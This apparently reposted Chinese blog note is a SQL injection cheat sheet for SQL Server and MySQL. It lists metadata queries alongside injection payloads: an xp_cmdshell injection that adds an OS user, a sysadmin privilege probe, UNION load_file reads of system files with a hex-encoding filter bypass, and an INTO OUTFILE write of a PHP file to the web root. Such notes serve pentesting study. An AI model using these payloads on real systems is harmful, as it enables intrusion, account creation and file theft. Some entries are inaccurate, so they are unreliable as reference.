SQL语句总结

SQLServer

  1. SQLSever提供了非常多的系统函数,利用该系统函数可以访问SQLServer系统中的信息,而无须使用SQL语句查询。
  2. suser_name():返回用户的登陆名;
  3. user_name():基于指定的标识号返回数据库用户名;
  4. db_name(): 返回数据库名称;
  5. is_number('db_owner'): 是否为数据库角色;
  6. convert(int,'5'): 数据类型转换;
  7. sys.databases     SQL Server中的所有数据库
  8. sys.sql_logins     SQL Server中的所有登录名
  9. information_schema.tables     当前数据库中的表
  10. information_schema.columns  当前数据库中的列
  11. sys.all_columns    用户定义对象和系统的所有列的联合
  12. sys.database_principals    数据库中每个权限或列异常权限
  13. sys.database_files       存储在数据库中的数据库文件
  14. sysobjects                 数据库中创建的每个对象
  15. 攻击者最常用的存储过程是xp_cmdshell,这个存储过程允许用户执行操作系统的命令;如果http://www.test.com/test.asp?id=1存在注入点,那么攻击者可以实施命令攻击:http:www.test.com/test.asp?id=1;exec xp_cmdshell 'net user test test /add',攻击者就可以利用xp_cmdshell操纵服务器。
  16. http://somesite/show.asp?id=4864 and 1=(select IS_SRVROLEMEMBER(’sysadmin’)) 判断是否是系统权限;
  17. 查看数据库版本 @@version;
  18. 获取元数据:INFORMATION_SCHEMA.TABLES与INFORMATION_SCHEMA.COLUMNS视图取得数据库表以及表的字段。
  19. select TABLE_NAME from INFORMATION_SCHEMA.TABLES   取得当前数据库表;
  20. select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' 取得Student表字段;

MYSQL

  1.   version()版本号
  2. 元数据:Mysql 5.0及其以上版本提供了INFORMATION_SCHEMA。
  3. LIMIT i,j   LIMIT后面跟一个或两个整数参数,强制select语句返回指定的记录行(记录行i+1到j+i)
  4. 查询用户数据库名称:select SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 检索第一行
  5. 查询当前数据库表:select TABLE_NAME from INFORMATION_SCHEMA.TABLES where TABLE_SCHEMA= (select DATABASE()) limit 0,1
  6. 查询指定表的所有字段:select COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='Student' LIMIT 0,1
  7.  load_file()函数读取文件操作:union select 1,load_file(’/etc/password‘),3,4,5,6 #
  8. 一些防注入的语句不允许单引号的出现,那么使用:union select 1,load_file( '/etc/password'十六进制转换结果),3,4,5,6 #来绕过;
  9. 写文件操作:select '<?php phpinfo();?>' into outfile 'c:wwwroot1.php'
  10. 读写文件需要持有FIFE权限,并且文件必须为全路径名称。
  11. 如果需要一次查询多个数据,可以使用concat()或concat_ws()函数来完成。
  12. concat()函数:select name from student where id=1 union select concat(user(),',',database(),',',version());
  13. 上面也可以转换为十六进制:select name from student where id =1 union select concat(user(),0x2c,database(),0x2c,version());
  14. concat_ws()函数:select name from student where id =1 union select concat_ws(0x2c,user(),database(),version())
  15. user()用户名
  16. current_user()当前用户
  17. system_user()系统用户
  18. database()数据库名
  19. version()版本
  20. @@version_compile_os()操作系统
  21. group_concat() 返回带有来自一个组的连接的非NULL值的字符串结果。
原文地址:https://www.cnblogs.com/blacksunny/p/5216215.html